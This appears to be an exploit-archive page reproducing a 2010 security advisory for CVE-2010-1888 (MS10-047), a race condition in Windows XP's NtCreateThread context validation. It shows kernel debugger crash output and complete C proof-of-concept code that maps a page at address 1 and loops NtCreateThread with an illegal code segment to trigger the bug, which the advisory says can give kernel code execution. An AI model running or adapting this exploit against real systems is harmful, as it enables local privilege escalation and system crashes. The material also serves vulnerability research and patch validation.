Skip to content
cyberexploits
doswindowstext

Microsoft Windows - nt!NtCreateThread Race Condition with Invalid Code Segment (MS10-047)

Microsoft Windows - nt!NtCreateThread Race Condition with Invalid Code Segment (MS10-047)

Publié le 2010-08-17

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/windows/dos/14666.txt7eac4c3a
raw
Microsoft Windows nt!NtCreateThread race condition with invalid code segment

----------------------------------------------------------------------------



CVE-2010-1888



Creating a new thread on windows involves passing several structures to

NtCreateThread(). These structures describe the execution state of the new

thread, and are setup transparently by the system libraries when using the

CreateThread() API. One of these structures is called CONTEXT, which contains

the register values of the new thread.



kd> dt nt!_CONTEXT

   +0x000 ContextFlags     : Uint4B

   +0x004 Dr0              : Uint4B

   +0x008 Dr1              : Uint4B

   +0x00c Dr2              : Uint4B

   +0x010 Dr3              : Uint4B

   +0x014 Dr6              : Uint4B

   +0x018 Dr7              : Uint4B

   +0x01c FloatSave        : _FLOATING_SAVE_AREA

   +0x08c SegGs            : Uint4B

   +0x090 SegFs            : Uint4B

   +0x094 SegEs            : Uint4B

   +0x098 SegDs            : Uint4B

   +0x09c Edi              : Uint4B

   +0x0a0 Esi              : Uint4B

   +0x0a4 Ebx              : Uint4B

   +0x0a8 Edx              : Uint4B

   +0x0ac Ecx              : Uint4B

   +0x0b0 Eax              : Uint4B

   +0x0b4 Ebp              : Uint4B

   +0x0b8 Eip              : Uint4B

   +0x0bc SegCs            : Uint4B

   +0x0c0 EFlags           : Uint4B

   +0x0c4 Esp              : Uint4B

   +0x0c8 SegSs            : Uint4B

   +0x0cc ExtendedRegisters : [512] UChar



Obviously the state must be validated, otherwise you could simply set SegCs to

to rpl0, and execute code with kernel privileges.



I discovered a race condition during this validation stage by accident when

checking the validation looked sane, and was able to restore an illegal

execution state. I havn't investigated the root cause, but it's self evident

this is going to be exploitable.



kd> vertarget

Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible

Product: WinNt, suite: TerminalServer SingleUserTS

Built by: 2600.xpsp_sp3_gdr.100216-1514

Machine Name:

Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0

Debug session time: Sat Aug  7 23:25:27.564 2010 (GMT+2)

System Uptime: 0 days 0:04:15.492

kd> .lastevent

Last event: Access violation - code c0000005 (!!! second chance !!!)

  debugger time: Sat Aug  7 23:27:22.595 2010 (GMT+2)

kd> r

eax=00000000 ebx=5f5b1044 ecx=0000003d edx=83f88bff esi=0008c21c edi=98490393

eip=804df15f esp=b1178800 ebp=b1178800 iopl=0         nv up di pl nz ac pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010016

nt!Kei386EoiHelper+0x103:

804df15f 897308          mov     dword ptr [ebx+8],esi ds:0023:5f5b104c=????????

kd> kv

ChildEBP RetAddr  Args to Child              

b1178800 00000d89 badb0d00 b1178800 ff57018b nt!Kei386EoiHelper+0x103 (FPO: [0,0] TrapFrame @ b1178800)

WARNING: Frame IP not in any known module. Following frames may be wrong.

8b5d5e5f 00000000 00000000 00000000 00000000 0xd89

kd> .trap b1178800

ErrCode = 5f5b1044

eax=28247c89 ebx=c78b5b10 ecx=24245c89 edx=3c246c89 esi=52ff5511 edi=8b084e8b

eip=00000d89 esp=8308768b ebp=8b5d5e5f iopl=0     vif nv up ei pl nz ac pe nc

cs=018b  ss=ffcb  ds=2444  es=1c24  fs=01ff  gs=0c4e             efl=0008c21c

018b:0d89 41              inc     cx

kd> dg @cs

                                  P Si Gr Pr Lo

Sel    Base     Limit     Type    l ze an es ng Flags

---- -------- -------- ---------- - -- -- -- -- --------

018B 00008003 0000f190 <Reserved> 0 Nb By Np Nl 00000000

kd> wut

    ^ Syntax error in 'wut'

kd> dd 8:@eip L8

0008:8d8c  41414141 41414141 41414141 41414141

0008:8d9c  41414141 41414141 41414141 41414141



--------------------

Affected Software

------------------------

At least Microsoft Windows XP is affected.



--------------------

Consequences

-----------------------



An unprivileged user may be able to execute arbitrary code with the privileges

of the kernel.



Example code to trigger this vulnerability is available below.



#include <windows.h>

#include <stdio.h>



typedef struct {

    HANDLE UniqueProcess;

    HANDLE UniqueThread;

} CLIENTID;



typedef struct {

    struct {

        PVOID OldStackBase;

        PVOID OldStackLimit;

    } OldInitialTeb;

    PVOID StackBase;

    PVOID StackLimit;

    PVOID StackAllocationBase;

} INITIAL_TEB;



static VOID InitFirstPage();



int main(int argc, char **argv)

{

    HANDLE ThreadHandle;

    CONTEXT ThreadContext;

    FARPROC NtCreateThread;

    CLIENTID ClientId;

    INITIAL_TEB InitialTeb;

    ULONG i;



    NtCreateThread = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateThread");



    fprintf(stderr, "NtCreateThread@%p\n", NtCreateThread);



    FillMemory(&InitialTeb, sizeof(InitialTeb), 0x41);

    FillMemory(&ThreadContext, sizeof(ThreadContext), 0x41);



    ThreadContext.SegCs = 0xDEADBEEF;



    InitFirstPage();



    for (;;) {

        NtCreateThread(&ThreadHandle,

                       0,

                       NULL,

                       GetCurrentProcess(),

                       &ClientId,

                       &ThreadContext,

                       &InitialTeb,

                       FALSE);

    }



    return 0;

}



static VOID InitFirstPage()

{

    PVOID BaseAddress;

    ULONG RegionSize;

    NTSTATUS ReturnCode;

    FARPROC NtAllocateVirtualMemory;



    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory");



    fprintf(stderr, "NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);



    RegionSize = 0xf000;

    BaseAddress = (PVOID) 0x00000001;



    ReturnCode = NtAllocateVirtualMemory(GetCurrentProcess(),

                                         &BaseAddress,

	                                     0,

                                         &RegionSize,

                                         MEM_COMMIT | MEM_RESERVE,

                                         PAGE_EXECUTE_READWRITE);



     if (ReturnCode != 0) {

         fprintf(stderr, "NtAllocateVirtualMemory() failed to map first page, %#X\n",

                         ReturnCode);

         fflush(stderr);

         ExitProcess(1);

    }



    fprintf(stderr, "BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush(stderr);



    FillMemory(BaseAddress, RegionSize, 0x41);



    return;

}



-------------------

Credit

-----------------------



This bug was discovered by Tavis Ormandy.



-------------------

Greetz

-----------------------



$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/

$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.

$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710

$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.

$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.



And all the other elite people I've worked with (sorry, too many to generate!).



-------------------

Notes

-----------------------



Approximate time to fix was 270 days. Srsly. 



-------------------

References

-----------------------



None.

Voir sur GitHub